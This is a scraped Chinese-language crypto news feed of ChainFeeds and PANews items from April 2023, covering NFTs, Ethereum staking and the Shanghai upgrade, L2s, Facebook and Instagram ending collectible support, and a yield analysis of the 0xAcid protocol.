    Chainfeeds 导读： Yuga Labs 最近发布了许多 NFT，导致 Otherside 生态的稀释。加密货币 KOL wale.swoosh 认为这对于即将发布的游戏来说是必要的，并且不会影响 BAYC。 文章来源： https://twitter.com/waleswoosh/status/1644655232926773250 文章作者： wale.swoosh 观点： wale.swoosh：虽然 Otherside 也是 Yuga Labs 项目之一，但它与 Yacht Club 是分开的。而且，它进行稀释确实有道理，作为游戏的 Otherside 将不得不提供许多不同种类的游戏内资产，因此供应量将增加。因此，我们在最近几个月看到的稀释并不代表 BAYC 已经过了巅峰，而是代表 Otherside 可能越来越接近发布。供应量将继续增加，但这并不会直接影响 Yacht Club。与 pfp NFT 更多地稀释通常代表不好的策略不同，在 Otherside 的情况下完全合理。【原文为英文】 内容来源 wale.swoosh：Yuga Labs 正在构建元宇宙，并且他们需要提供许多不同类型的游戏内资产。这意味着资产供应量会增加，并且游戏内资产价格会下降。这种情况会持续到成千上万新玩家进入之前。【原文为英文】 内容来源  ( 2 min )
    Messari：详解 Optimism 超级链，统一 Layer2 网络打造 Rollup 链工厂
    Chainfeeds 导读： 长期以来，Rollup 一直是扩展以太坊的重要计划，Optimism 社区正在踏上建立超级链的旅程，也许将提供广阔的机会和潜力。Messari 研究员 Stephanie Dunbar 从特点、进展、竞争对手等方面解读了超级链。 文章来源： https://www.odaily.news/post/5186265 文章作者： Messari 观点： Messari：超级链 Superchain 是使用 OP Stack 构建的以太坊对齐链的集合，OP Stack 是支撑 Optimism 生态系统的软件。在较高层面上，超级链将具有以下特点：1）L1（链工厂）上的桥梁，用于启动和管理 OP 链；2）通过 Optimism Collective 进行集体治理；3）共享排序协议的市场，将为选择加入的 OP 链提供原子跨链可组合性；4）不共享定序器集的 OP 链的消息传递层。 内容来源 Messari：Superchain 预计 2023 年推出初始版本。超级链需要某种形式的去中心化治理和证明系统，包括经过许可的签名者，在 Cannon 欺诈证明引擎可用之前验证提款声明不包含无效输出。未来可能会有调整，例如交换执行层、换出数据可用性层以及同时使用多个证明系统等。 内容来源 Messari：超级链不同之处在于其是从服务提供商那里获取价值的，以换取参与其生态系统的权利。选择加入超级链就是选择加入链工厂的集体治理，并使用桥接 L1 并访问信任最小化的跨链消息传递。开发简易性与共享排序模型相结合意味着进入门槛低，协议开发人员在超级链中建立业务自由度高。 内容来源  ( 9 min )
    【英文】探索 LSD、上海升级、Eigenlayer 等合并叙事
    Chainfeeds 导读： 质押是一个极大地改变 DeFi 的行动，在质押中产生的收益激励成为 DeFi 机制创新的跳板。加密货币研究员 0xFishy 结合了 LSD、上海升级和 Eigenlayer 对未来质押影响等叙事，将其统称为用户能够在单个质押存款上获得多种收益的「multi-dip staking」。 文章来源： https://medium.com/web3-insights/the-ultimate-narrative-of-multi-dip-staking-ef98954b8b79 文章作者： 0xFishy 观点： 0xFishy：由于存在流动性的集中力量（提供者信任）和安全的分散力量（BFT 问题），ETH LSD 市场可能是长期的寡头垄断。上海升级后，短期内较小的 LSD 供应商可能会面临流动性问题，但从长远来看，一个完整的 PoS 以太坊可能会将 LSD 市场增加 3-4 倍，并且会极大地惠及像 Rocket Pool 和 Frax 这样的中小型参与者。新的项目也可能会进入，最终可能会有几家各占 10-20% 的市场份额。【原文为英文】 内容来源 0xFishy：Eigenlayer 极大地催化了「multi-dip staking」模型，并为中间件项目创建了一个验证者借贷模型，使各方都受益，即中间件项目、DApps（增加安全性）、验证者和小规模的质押者（更多选择和更多收益）。在 Eigenlayer 之后，「multi-dip staking」将成为主流，这种资本的释放对以太坊生态内所有参与者都有利。类似的想法也可能会扩展到其他「base」链，尤其是 Cosmos（IBS 提案），从而促进模块化区块链的发展。【原文为英文】 内容来源  ( 26 min )
    【长推】观点：EigenLayer 是面向 VC 的项目，散户的机会是空投和合作项目的投资
    Chainfeeds 导读： EigenLayer 是新原语 Re-Staking 的第一个实例。加密货币研究员 Ningning.lens 认为 EigenLayer 的参与门槛对散户来说过高，散户可以参与空投或者关注合作项目的投资机会。 文章来源： https://twitter.com/0xning0x/status/1644534202317303809 文章作者： Ningning.lens 观点： Ningning.lens：EigenLayer 的新原语 Re-Staking 与现有 LSD 赛道项目的 ReStaking 乍看很像，但实际上两者不是同一个东西。首先，Re- Staking 与 ReStaking 的目的不同，Re-Staking 目的是实现服务层与协议层共享安全性。对于采用 POS 共识机制的协议，锁定在验证节点和共识节点的资金规模越大，攻击协议的成本就越高，安全性就越强。EigenLayer 通过 Re-Staking 将以太坊的流动性引导入服务层，从而大幅提升相应服务层的安全性，并降低资金成本。而 ReStaking 的目的比较简单粗暴，就是增厚 APY。 内容来源 Ningning.lens：其次，两者实现的方法不同。Re-Staking 支持 LSD 再质押和原生质押。再质押者会获得 EigenLayer 颁给的权益证明 Token。凭借此 Token，再质押者可以加入 EigenLayer 接入的服务们的共识和验证网络，从而在为这些服务们提供安全保障的同时获得服务原生 Token 奖励而 ReStaking 的实现途径同样比较简单，以 YFI 的 yETH 为例，只是将 stETH 再封装以后，以其协议沉淀的海量 VeCRV 投票加大对 yETH 交易对的 Yield 挖矿奖励。 内容来源  ( 2 min )
    【长推】比特币 L2 到底是洪水猛兽还是潜在的 Alpha？
    Chainfeeds 导读： 伴随着 Arbitrum 的空投，zkSync 等 zk 系 Rollup 链一时间成为市场追捧的热点。它们作为以太坊的 L2 大家并不陌生，而比特币 L2 这个远古级赛道，市场却鲜有议论的声音。加密货币研究员 yyy 从背景、安全性、生态等方面讨论了比特币 L2。 文章来源： https://twitter.com/y_cryptoanalyst/status/1644691339840458753 文章作者： yyy 观点： yyy：对于希望获取 BTC Defi 收益的用户而言，出现了 2 种代币增值路径：1) 通过中心化机构在其它网络 (如以太坊) 发行的锚定 BTC, 如 WBTC；2) 通过比特币侧链 / L2 （如 Stacks 等）发行去中心化程度更高的锚定 BTC, 如 sBTC。本质上都是通过将 BTC 「桥接」到支持智能合约应用场景的网络，获取 Defi 收益。 内容来源 yyy：BTC defi 向左如通过 WBTC 在以太坊 defi, 向右如通过 RBTC/sBTC 在比特币侧链 / L2 defi。在仅考虑安全性的情况下，这里会出现 2 点权衡：1) 跨链 BTC 资产本身的安全性，虽然 BTC 的跨链目前无法实现原生验证，但不同跨链方案的锚定机制间存在一定的差异。2) 跨链 BTC 所基于的链的安全性。Stacks L2 链的安全性是最高的，因其结算层在比特币，安全性由 100% 的比特币算力保证。 内容来源  ( 2 min )
    数据：比特币 Ordinals 铭文累计铸造量已突破 100 万
    数据：比特币 Ordinals 铭文累计铸造量已突破 100 万 Duna Analytics 数据显示，比特币 Ordinals 铭文累计铸造量已突破 100 万个，目前为 1,007,163 个，累计费用收入达 168.2727 枚 BTC。 内容来源
    Facebook 也将于 4 月 11 日起取消对数字收藏品的支持
    Facebook 也将于 4 月 11 日起取消对数字收藏品的支持 Facebook 在其帮助中心发布公告称，将逐步结束对数字收藏品的支持。这些变更将于 2023 年 4 月 11 日起开始生效。用户第三方电子钱包内容不会受到影响。用户将无法再在 Facebook 创建新的数字收藏品帖子；用户分享的所有收藏品仍将以帖子的形式留存，但不会包含任何闪光特效和区块链信息，用户仍可以随时删除这些帖子。 此外，Facebook 将不再与用户的第三方电子钱包绑定或将用户的帐户与第三方电子钱包关联，用户将无法再在关联的选项卡中查看自己的数字收藏品或管理第三方电子钱包绑定设置。用户将无法再访问或下载与收藏品相关的个人信息。如果想要下载个人信息，需要于 2023 年 4 月 11 日前提交申请。Facebook 将开始删除系统中的数字收藏品数据，包括用户的钱包地址。数据的存储和删除将遵照其隐私权政策和数字收藏品使用条款进行。 内容来源  ( 12 min )
    Instagram 将于 4 月 11 日停止对数字收藏品的支持
    Instagram 将于 4 月 11 日停止对数字收藏品的支持 Instagram 在其帮助中心发布公告称，将逐步结束对数字收藏品的支持，变更将于 2023 年 4 月 11 日起开始生效。用户将无法再在 Instagram 创建新的数字收藏品帖子；用户分享的所有收藏品仍将以帖子的形式留存，但不会包含任何闪光特效和区块链信息，用户仍可以随时删除这些帖子；仅在用户主页的「数字收藏」选项卡中可见的收藏品帖子将移至用户的私密文件夹。 此外，Instagram 将不再与用户的第三方电子钱包绑定或将用户的帐户与第三方电子钱包关联，用户将无法再在关联的选项卡中查看自己的数字收藏品或管理第三方电子钱包绑定设置。用户将无法再访问或下载与收藏品相关的个人信息。如果想要下载个人信息，需要于 2023 年 4 月 11 日前提交申请。Instagram 将开始删除系统中的数字收藏品数据，包括用户的钱包地址。数据的存储和删除将遵照其隐私权政策和数字收藏品使用条款进行。 内容来源  ( 1 min )

  • Open

    Binance US正在寻找愿意接受其客户存款的银行
    PANews 4月9日消息，据《华尔街日报》周六援引知情人士的话称，在上个月Signature bank倒闭后，币安美国子公司Binance US正在寻找一家愿意接受其客户存款的银行。此前，币安存款由Signature Bank和Silvergate Capital Corp (SI.N)保管。在两家银行均破产后，币安正急于寻找新的银行合作伙伴。该交易所曾试图与Cross River Bank和Customers Bancorp Inc建立合作，但由于这些银行担心监管风险，合作未能成功。Binance US一位发言人表示，该交易所与多家美国银行和支付提供商合作，将在升级内部系统的同时继续寻找新的合作伙伴。  ( 1 min )
    数据：过去一周Circle USDC流通量减少2亿美元
    PANews 4月9日消息，据官方数据，过去7天Circle共发行6亿美元USDC，赎回25亿美元USDC，流通量减少约19亿美元。截至3月30日，USDC总流通量为326亿美元，储备量为328亿美元，其中现金44亿美元，短期美国国债284亿美元。  ( 1 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.08）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    NBA将在鲸探发行可变数字藏品，预计发售日期为4月14日和16日
    PANews 4月8日消息，据雷锋网报道，蚂蚁集团旗下鲸探App上架首个可变化数字藏品“NBA季后赛球场盲盒”。该款藏品形态可基于NBA赛事结果变化升级，用户还可根据链上地址在“区块链信息查询”中查看持有藏品的变化信息。鲸探平台信息显示，预计正式发售日期为4月14日和4月16日。 据了解，该款藏品将以4个盲盒的形式对外发售，每个盲盒内含4支进入NBA季后赛球队的球场模型，4个盲盒共内含16支获取季后赛资格的球队。每支球队藏品发售5000份，球队对应的数字藏品会跟随季后赛结果进行升级或者停止升级，具体来说，如果球队晋级则藏品升级，球队淘汰则停止升级。 此前4月4日消息，有媒体报道称鲸探将上架首个可变化数字藏品，并或将探索AIGC战略。  ( 1 min )
    “上海升级”进入倒计时，解析三个阶段的ETH潜在抛压
    “上海升级”前瞻 根据以太坊基金会协议支持团队的博客文章，客户团队同意在Goerli 测试网进行平稳过渡之后，激活主网上的Shapella升级（即“上海升级”，Shapella升级是由名称“上海”和“Capella”的组合创造的，分别指执行层客户端和共识层客户端的硬分叉）。 Shapella升级将预计在2023年4月12日UTC 22:27:35。该升级将使验证者能够将ETH从信标链中撤出，并为执行和共识层带来新的功能。 升级完成之后，对于独立运行验证器的验证者，可以选择部分提款和全部提款。部分提款指提取每个质押32 ETH的验证器所产生的利润，这部分奖励可以立即撤回，验证器将继续在信标链中添加区块。 而提取这些奖励所需时间，则将取决于上海升级后提出部分提款请求的数量。每个一个插槽可以接受16个部分提款请求（每12秒发生一次），队列可能需要几个小时。同时，以太坊设计了“自动扫描”功能，网络会定期扫描，自动将余额超过32ETH的节点的利润，按照扫描进度自动提取到用户的指定地址当中。 另一方面，全部提款指从区块链中提取包括32 ETH在内的所有余额。这意味着验证者将停止参与块验证过程。由于验证器需要向区块链发送消息以将其添加到提款队列中，这需要等待较长时间。尤其是在上海升级完成后，可能会迎来一波提现高峰。按照目前的网络规模，以太坊每天最多处理5.7w个节点的提现请求，和每天最大允许进入staking共识的节点数量相当。 如果质押者是通过质押服务商或去中心化质押池，提取质押的ETH需要由服务商或者质押协议进一步确定何时撤出质押。 例如，Coinbase在3月份曾表示，将在Shapella升级完成后24小时处理提款请求。所有撤出质押的请求都是在链上处理的，一旦质押的ETH通过以太坊协议释放，Coinbase将马上发放本金及奖励。 Lido则表示持有Steth的用户需要等到Lido协议在5月中旬进行升级之后才能提取质押的ETH，原因是该协议需要进行适当的安全检查。Rocketpool则表示该协议需要在4月18日“ Atlas”升级后才能撤出ETH质押。 由于大多数用户选择在去中心化或中心化交易所上通过LSD来参与质押，这些质押者的ETH实际上一直都具备流动性，因此并没有太大的出售动机。Lido等去中心化的LSD平台目前占ETH总质押数的33.2％。另外，有大约27.1％的人通过Coinbase、Binance和Kraken等中心化交易所进行质押。因此，约有60.3％的ETH通过LSD进行质押。 剩下的就是通过自行设置节点或第三方服务提供商直接存入质押合约的ETH，约占总质押数的40％，这部分ETH此前一直处于锁定状态，因此比较有可能在解锁后出售。 根据数据网站Nansen的分析，在这部分暂时不具备流动性的ETH中，大约有59％（362万至400万枚ETH）处于盈利状态，他们有可能在解锁后进行部分提款或全部提款。当然，这其中也会有一部分质押者选择继续质押，Nansen估计ETH升级后的抛压在120万至300万枚ETH之间，但是由于每日提取数量限制，这个过程将会缓慢进行。 根据Nansen的报告，升级后将有三个阶段的ETH抛压。 第一阶段是升级后的27小时内，抛压来自于部分提款（即多年来累计的利息），约为每天84000至125000枚ETH。 第二阶段潜在抛压最高，来自于部分提款（利息）和全部提款（完整的32ETH），每天分别有136000枚ETH 和173000枚ETH。此阶段持续时间为升级后的第三天到第四天。 第三阶段抛压主要来自全部提款，将持续19到52天，每天约有48000–53000枚ETH的抛压。 由于当前30日交易所流入平均值为313533枚ETH，这意味着升级后潜在的交易所流入量将在该均值的15％至55％之间，这可能会抑制ETH价格，直到3到8周后抛压消退。 Arcana Research的另一项分析预估，由于部分提款和全部提款，升级后的10天内将出售约130万枚ETH。ETH抛压将在升级后前三天达到顶峰，每天抛压力约为5.27亿美元（按ETH价格为1800美元计算），占当前日常交易量的6.4％。 从另一个角度来看，Shapella升级将使ETH质押脱离不确定性的风险，并为ETH质押率的上升铺平道路，这将在某种程度上对冲掉潜在的抛压。升级之后，ETH的质押百分比可能会增加2–4倍。目前，ETH质押率只有15％左右，而其他PoS加密货币质押率基本都在50–70％，甚至更高。 ETH质押率较低是由于锁定期不确定，这给许多投资者带来了未知的风险。但是，升级将使ETH质押实现灵活提取，这将鼓励更多的ETH持有者参与质押。 根据Santiment分析网站的数据，ETH在交易平台上的供应量降到了2015年以来的最低点，仅占目前流通量的10.31%，换言之，有更多的ETH都处于投资者自己持有的状态下，这反应了该持币群体对ETH的长期表现充满信心。 近期数据表明，ETH的市场需求正在增长，尤其是散户投资者的需求。目前有超过2330万个地址至少持有0.01 ETH，创下8个月以来的新高。 除了来自散户的需求之外，巨鲸和机构对ETH的需求也在增加，持币大于1000ETH的地址10000 ETH的地址近期也有所上升。 非托管Staking矿池Ebunker联合创始人Muye Sheng表示，ETH全网目前拥有56万个节点，在上海升级前，仍主要集中在LSD和中心化交易所两个方案当中。但是当上海升级完成后，尤其早期提现高峰（约1–2个月）过后，Solo Staking和非托管Staking也能很快地地完成用户的提现需求，因此，对于用户来说，还是将私钥逐步转移到自己托管，才是Staking的Endgame. 目前距离升级还有不到将近一周的时间，交易者可能会试图通过在期货市场开空来抢跑潜在抛压。但到目前为止，期货市场暂未显示出空单的成交量或资金费率的明显上涨。 通常，在健康的市场中，两个月内的期货溢价应在5％至10％之间，以支付相关成本和风险。当期货相对于传统现货市场以折扣价交易时，则表明交易者缺乏信心，被认为是看跌指标。 上图是ETH期货近两个月内的年化溢价，3月29日，随着该指标上升到4％，使用期货合约衍生品的交易者变得略微看涨。尽管保持低于5％的中性阈值，但期货溢价达到了4周内的最高水平。 当做市商和套利市场过度收取费率以获得价格上行或下行保护时，25% Delta偏斜率是一个可供参考的标志。在熊市中，期权投资者更多的押注于价格下跌，导致偏斜指标上升到8％以上。 另一方面，在看涨的市场趋势中，偏斜指标通常会在低于-8％的数值运行。 自3月22日以来，ETH的25% Delta偏斜指标一直处于中立状态，表明价格上行和下行概率相当。 但是，鉴于近期交易所受到的监管压力增加，在利空环境下，衍生品市场能保持这种状态也反映出了一定程度的市场信心。  ( 1 min )
    Facebook宣布将于4月11日起结束对数字收藏品的支持
    PANews 4月8日消息，Facebook在其帮助中心发布公告称，将逐步结束对数字收藏品的支持。这些变更将于2023年4月11日起开始生效。用户第三方电子钱包内容不会受到影响。 届时，用户将无法再在Facebook创建新的数字收藏品帖子；用户分享的所有收藏品仍将以帖子的形式留存，但不会包含任何闪光特效和区块链信息，用户仍可以随时删除这些帖子。此外，Facebook将不再与用户的第三方电子钱包绑定或将用户的帐户与第三方电子钱包关联，用户将无法再在关联的选项卡中查看自己的数字收藏品或管理第三方电子钱包绑定设置。用户将无法再访问或下载与收藏品相关的个人信息。如果想要下载个人信息，请于2023年4月11日前提交申请。Facebook将开始删除系统中的数字收藏品数据，包括用户的钱包地址。数据的存储和删除将遵照其隐私权政策和数字收藏品使用条款进行。 此前今日早些时候消息，Instagram宣布将于4月11日停止对数字收藏品的支持。  ( 1 min )
    Instagram将于4月11日停止对数字收藏品的支持
    PANews 4月8日消息，Instagram在其帮助中心发布公告称，“我们已宣布将逐步结束对数字收藏品的支持。这些变更将于2023年4月11日起开始生效。用户第三方电子钱包内容不会受到影响。” 届时，用户将无法再在Instagram创建新的数字收藏品帖子；用户分享的所有收藏品仍将以帖子的形式留存，但不会包含任何闪光特效和区块链信息，用户仍可以随时删除这些帖子；仅在用户主页的“数字收藏品”选项卡中可见的收藏品帖子将移至用户的私密文件夹。 此外，Instagram将不再与用户的第三方电子钱包绑定或将用户的帐户与第三方电子钱包关联，用户将无法再在关联的选项卡中查看自己的数字收藏品或管理第三方电子钱包绑定设置。用户将无法再访问或下载与收藏品相关的个人信息。如果想要下载个人信息，请于2023年4月11日前提交申请。Instagram将开始删除系统中的数字收藏品数据，包括用户的钱包地址。数据的存储和删除将遵照其隐私权政策和数字收藏品使用条款进行。  ( 1 min )
    zkSync分享支持遗留Solidity功能的更新，将在下次协议升级时部署
    PANews 4月8日消息，针对昨日Gemholic项目资金被卡的问题，zkSync发布推文称：“我们想分享有关更好地支持遗留Solidity功能的更新，transfer()和.send()将可完全像在EVM中一样工作。该解决方案不涉及任何类型的重组或再生。这将是一个正常的协议升级。 ” zkSync对此技术进行了相信的解释：“在zkSync Era上，value>0的调用通过MsgValueSimulator系统合约，消耗一些gas。这就是为什么在zkEVM上不提供gas而调用transfer会失败的原因。因此作出以下更改：对没有最低gas需求的MsgValueSimulator的调用现在至少需要2*64*pubdata_bytes + K ergs。其中，需要pubdata来传输值，并且K将被选择得足够高以处理transfer。在MsgValueSimulator结束时，将确保至少花费2*64*pubdata_bytes + K'来处理transfer(如果花费的ergs更少，则退款将退还给调用者)。K - K'将是zkSync Era津贴。为了防止重入，我们将确保存储写入成本至少为K - K'ergs。这种方法与以太坊非常一致：当value>0并授予一些津贴时，向用户收取更多费用。实际上，这意味着津贴将启用一次且仅支持一个存储更新，除此之外别无其他（与EVM完全相同）。此更改可能会略微影响交易成本的估计和退款后的实际交易成本。但是，未来估计费用与实际费用之间的差距将大大缩小。” zkSync提到，上述更新需要一些时间才能实施，并会在下一次协议升级时经过多次测试、审计和社区审查后部署。  ( 1 min )
    剖析LSDfi 协议0xAcid收益机制：90%APR是真实收益吗？
    原文：《Alpha Track | LSDFi 协议 0xAcid 的 90% APR 是真实收益吗？》 作者：Cabin Crew 注：本文主要介绍 LSDfi 协议 0xAcid，不作任何投资建议 以太坊上海升级完成后，ETH 的质押收益率可以看作是以太坊的无风险国债利率，基于这一利率衍生出了多种 LSDFi 协议，在近期都获得了大量的曝光，包括：利率互换市场 Pendle；LSD 收益聚合器 Yearn、unshETH；LSD 流动性解决方案 Aura、LSDx Finance 等。在众多的 LSDfi 协议中，0xAcid 提供了最高的收益率，目前以 wETH 发放的质押 APR 约为 90%，远高于其他协议提供的 5%-20% APR，本文将详细介绍0xAcid 是如何做到最高的收益率以及存在哪些风险。 0xAcid 是一个旨在最大化 LSD 资产（stETH、rETH、fraxETH 等）回报的协议，目前部署在了 Arbitrum 和 Ethereum 上。国库策略将 LSD 资产投放在其他 DeFi 协议中以追求最高的收益率，根据区分不同的收益目标将用户分层，提供了远高于其他 LSD 协议的收益率。 0xAcid 的机制相对复杂，概括来说就是锁定 ACID 可以累积更多的国库中的 ETH 索取份额 ，质押 ACID 可以获得更高的 LSD 资产产生的真实收益率。完整的机制如下图所示： ACID 代表了对国库资产的索取份额，当 ETH 达到 $10k 时，国库会将所有的 LSD 资产转换为 wETH 并按比例分配给所有 ACID 持有人，因此 ACID 的价值完全由国库中的 ETH 支撑。 ACID 有两种产出途径：购买 Bonds 以及 esACID 归属。 Bond 机制允许用户以 5% 左右的折扣购买 ACID，目前共有四种 Bonds：wETH、wstETH、ankrETH、Camelot 上的 ACID-ETH 池 LP。购买 Bonds 后会在 1-2 天内归属为 ACID，目前 Bonds 的累计销售额约 1192 枚 ETH 。Bonds 销售获得的 ETH 和 LSD 资产 90% 将进入国库收益策略，10% 分红给 ACID 质押者。 esACID 是归属中或待归属的 ACID，仅通过 Locked ACID 产出，且无法进行转让或者交易。将 esACID 归属为 ACID 需要锁定至少 2 倍数量的 ACID，会在 60 天内线性转换为 ACID。 ACID 持有者可以选择质押或锁定两种途径获得不同类型的收益： 将 ACID 锁定为 Locked ACID 可以获得 esACID 排放奖励，目前 esACID 产量为 500 枚/天，可通过社区提案修改 esACID 的排放量。锁定时间越长，获得的 esACID 排放奖励越多。目前锁定 1-12 个月的 APR 在 220%-2400% 左右。未来随着 esACID 排放的减少以及 Locked ACID 数量的增加，锁定 APR 会逐渐下降； 质押 ACID 为 Staked ACID 将获得两方面的收益：LSD 资产通过国库策略取得的全部收益以及Bonds 销售额的 10% 分红，两者都以 wETH 形式发放。目前 ACID 的质押 APR 约为 90%。质押中的 ACID 随时可以取消质押进入流通。 目前 ACID 的总供应量为 12861 枚，其中 13.8% 处于流通，14.8%处于质押，71.3% 被锁定。 通过 Bonds 销售筹集的 ETH、wstETH 将通过国库策略在优先保证安全的情况下在 DeFi 协议中追求高回报，90% 将投资于较稳定回报低风险项目（Aura、Frax、Curve、Convex、Balancer 等），10% 将投资于稍高风险稳定回报项目（AAVE、Pendle 等）。 目前国库中共累积 5184 枚 ETH ，包括通过 Launch 获得的 4000 枚 ETH 以及通过 Bond 销售累积的 1184 枚 ETH。策略分配的百分比可通过提案修改，项目启动初期的分配比例如下： 国库策略获得的收益将 100% 分配给 Staked ACID 。 用户可以通过抵押 ACID 借出 wstETH ，通过类似 AAVE 中的循环借贷获得杠杆收益。wstETH 的最大可借出价值为抵押物 ACID 价值的 40%，清算阈值为 50%。触发清算后，协议会直接销毁作为抵押物的 ACID ，并不会造成卖压，反而会因为流通量的减少而有利于 ACID 的价格提升。 这点与绝大部分的借贷协议不同，因为在 0xAcid 中，用户借贷的对手方为协议，而协议金库中的 wstETH 都是通过 Bonds 销售累积的，因此清算相当于是销毁了 Bonds，并且能减少 ACID 的流通。用户借贷支付的利息将 100% 分配给 Staked ACID。 0xAcid 机制中设计的比较巧妙的一点是协议自有流动性（PCV），即 Bonds 销售支持以 ACID-ETH LP 的形式支付，协议收到这些 LP 后会锁定进流动性池子，通过 Bonds 不断累积协议自有流动性。另外还能通过提案分配小部分资金注入 ACID-ETH 流动性池，提高 ACID 的流动性。 通过 PCV 机制，0xAcid 协议成为了最大的流动性提供方，能获取大部分的手续费以及流动性激励，并且通过锁定流动性，降低了 Price 下行期间的恐慌踩踏风险。 OxAcid 通过 Bonds 销售，从用户手中累积了 ETH，用这部分 ETH 参与 LSDFi 获取真实收益。返回给用户的 ACID 又分成了 Locked 和 Staked 两类，Locked 用户相当于放弃了 LSD 资产的真实收益权，通过类似锁仓缓释挖矿的方式积累了 ACID 的数量，来获取更多比例的国库资金索取份额；Staked 用户在获得 100% 的国库策略收益以及 10% 的Bonds 销售收入的同时，也被动稀释了 ETH 本金的份额。可以通过简单的估算来分析两者的预期收益与风险： 1) Staked ACID 收益 = 国库 ETH 总额 * 策略平均收益率 +后续 Bonds 金额 * 10% 按照目前 14.8% 的质押比例以及国库策略 8% 的平均 APR 估算，若期望在一年时间内能够收回 100% 的初始 ETH 投入，则需要每天 Bonds 销售额达到 50 ETH ，一年累计约 1.8万个 ETH（目前 0xAcid 上线一个月左右时间 Bonds 累积约 1200 ETH，日均 40 个 ETH）。这种情况下约 1/3 的 ETH 收益来自于国库策略，约 2/3 的收益来自于 Bonds 分红。剩下的 ACID 则是净收益，理论上 ACID 的 FDV =国库 ETH 总价值，随着 esACID 的释放，Staked 用户的持有份额会被稀释。预计 Staked 用户的最终币本位 APR 约为 19% ，仍高于约大部分 LSDFi 协议提供的回报，获得这个收益的前提是每天新增 50 个 ETH 进入国库。 再考虑最坏的情况，假设后续没有新增的 ETH 进入国库，则按目前的质押比例和国库收益率计算，则需要约 2 年的时间能够收回全部的初始 ETH 投入。这种情况下Staked 用户最终的币本位 APR 约为 1.5%，远低于其他 LSDFi 协议提供的回报。 2）Locked ACID 收益= （初始 ACID 数+esACID 累积排放奖励）/ ACID 总供应 * 国库 ETH 总数 * 2 - 初始 ETH 投入 按照目前 71.3 %的 Locked ACID 比例，以及每日 500 枚 esACID 排放奖励计算，在每日国库新增 50 枚 ETH 保持一年的情况下， Locked 用户的币本位 APR 约为 17%；考虑最坏的情况下，没有新资金进场，一年后 Locked 用户甚至会损失 3% 以 ETH 计的本金。 注：以上计算建立在 ACID 的总市值与国库 ETH 的总价值相等的前提下，在项目初期由于存在预期的收益，ACID FDV 会略高于国库 ETH 价值，随着 ETH 价格临近国库清算值 $10k，这一价差会逐渐消失。 0xAcid 是一个比较另类的 LSDFi 协议，有非常精妙的机制设计，首先设定了一个大前提：以太坊会达到$10k，届时会将国库中的所有 ETH 分配给 ACID 持有者，来吸引 ETH 的长期持有者。对于期望获得更多 ETH 份额的用户，可以出让 ETH 的质押收益来参与锁仓挖矿；对于期望获得更高质押收益的用户，需要承担本金 ETH 被稀释的风险。 虽然 0xAcid 提供了市场上最高的 LSD 收益率，收益是真实的，但本金会变得“不真实”。两者的收益率都基于新入场资金的数量，因此带有了 Ponzi 属性。参与者相当于同时押注了0xAcid 能够吸引更多数量的 ETH 以及 ETH 将在未来达到$10k，适合风险偏好较高的长期主义者。  ( 4 min )
    Web3 社交的未来已来
    当提及社交类的应用程序，一个非常明确的事实是：社交媒体一直是 Web2 大型互联网科技公司的“兵家必争之地”。风靡全球的 Facebook、Twitter 和 Instagram 等平台覆盖了用户数字生活中的所有社交需求和场景。通过收集并出售用户数据，进行算法分析投放有针对性的广告。掌握着海量的用户数据，如同掌握了与各个行业“出售”这些用户的财富密码。据报告称， Facebook 每年能在每个用户身上获得高达 900 美元的收益。 而 Web3 时代的到临，去中心化理念的实现和用户数据主权的回归。Web3 时代下的社交媒体带了新的社交范式的转变，其核心在于用户保持其对个人信息、内容和身份的所有权。  基于时下由 Web2 社交困境所导致的 Web3 社交流行趋势， TinTin Weekly 紧跟潮流举办了 Web3 社交议题的讨论。 前文提及邀请到的嘉宾们都来自于 Web3 中优秀的社交项目，从他们正在发展的项目，或者说他们正在做的事情以及为什么要做的原因，就能看出 Web3 需要什么要的社交，而这些社交需求又将如何被实现。 CyberConnect 是一个去中心化的社交协议，具有身份主权，可实现大规模采用和网络效应。它使用户能够在 EVM 兼容的区块链上创建配置文件，作为用户去中心化身份的锚点。借助 CyberConnect，用户拥有自己的社交图谱、内容、货币化渠道和社交数据，使他们能够无缝地跨多个 dApp，而无需在每个新平台上重新创建他们的网络。可以说，CyberConnect 作为面向 Web3 的崭新社交应用尝试，帮助 DApp 引导网络效应构建个性化社交体验，生成以用户个体为中心的社交图谱，实现了用户对其社交网络的轻松创建和管理。 Clasp 希望解决内容创作者创造的价值与大媒体和社交平台保留的价值之间的不平衡，在 Clasp 的平台上，允许内容创作者捕捉其用户在 Twitter、Facebook、Discord 等主要社交网络上的所有互动行为。通过利用区块链技术，Clasp 奖励与 Clasp 加密资产内容交互的用户，从而在所有参与者之间创造更公平的价值分配。Clasp 的创始人 Yao 指出，Clasp 希望帮助创作者以及用户将其社交行为上链，通过建立一个公平透明的激励系统，让用户享受到其社交的价值。 Aspecta 则是一个 Web3 开发者身份认证平台，其能够为开发人员创建基于 AI 的身份资料页面，继而让社区了解程序员的能力水平，利用算法从用户钱包地址如何与智能合约交互并相应地标记他们的活动类型中获取线索，使链上数据更加结构化。Aspecta 创始人 Jack He 提出目前 Web3 对于开发者的需求非常大，Aspecta 帮助开发者如何更加轻松地进行对自身包含技能、背景和丰富经验的身份认证，从而拥有更适合 Web3 的数字身份。 我们包括大多数用户在某种程度上都知道我们的个人数据和内容正在被当前使用的 Web2 社交媒体平台获利——通常并不在我们明确许可甚至是鼓励的前提。尽管部分国家通过相应法律法规采取了有针对性的措施来控制中心化社交媒体巨头，也得到了显著的成效。但对于大部分习惯于甚至依赖于主流社交媒体的用户来说，他们享受到了社交体验，也同时“习以为常”地接受那些平台通过分析其行为数据推送相应的广告和商品（甚至他们很愿意点击进去了解， 因为那是他们真正需要或者感兴趣的）。 即使 Web3 社交提供了一种更好的社交范式，用户是否愿意在社交身份迁移成本下选择 Web3 社交呢？ Wilson 老师提出对于 Web2 社交， Web3 社交体验是有两个明确的不同点：第一，资产的所有权。u用户在在中心化社交媒体网站上“一无所有”——身份、隐私、创建和共享的内容的所有权都是属于平台。Web3 能够真正让用户掌握其资产的所有权。 第二，数据所有权。这就是为什么 Web3 构建者着手创建一种不同类型的社交空间——平台由社区拥有和运营，用户保留对其数据和内容的控制权。 只有在掌握资产所有权和数据所有权后，用户不仅能享受更主权的社交，更能享受由其社交带来的价值。 Neo 老师提出从产品上去强化用户的 Web3 社交体验，能够让他们更切身感受到 Web3 社交的优势，进而选择 Web3 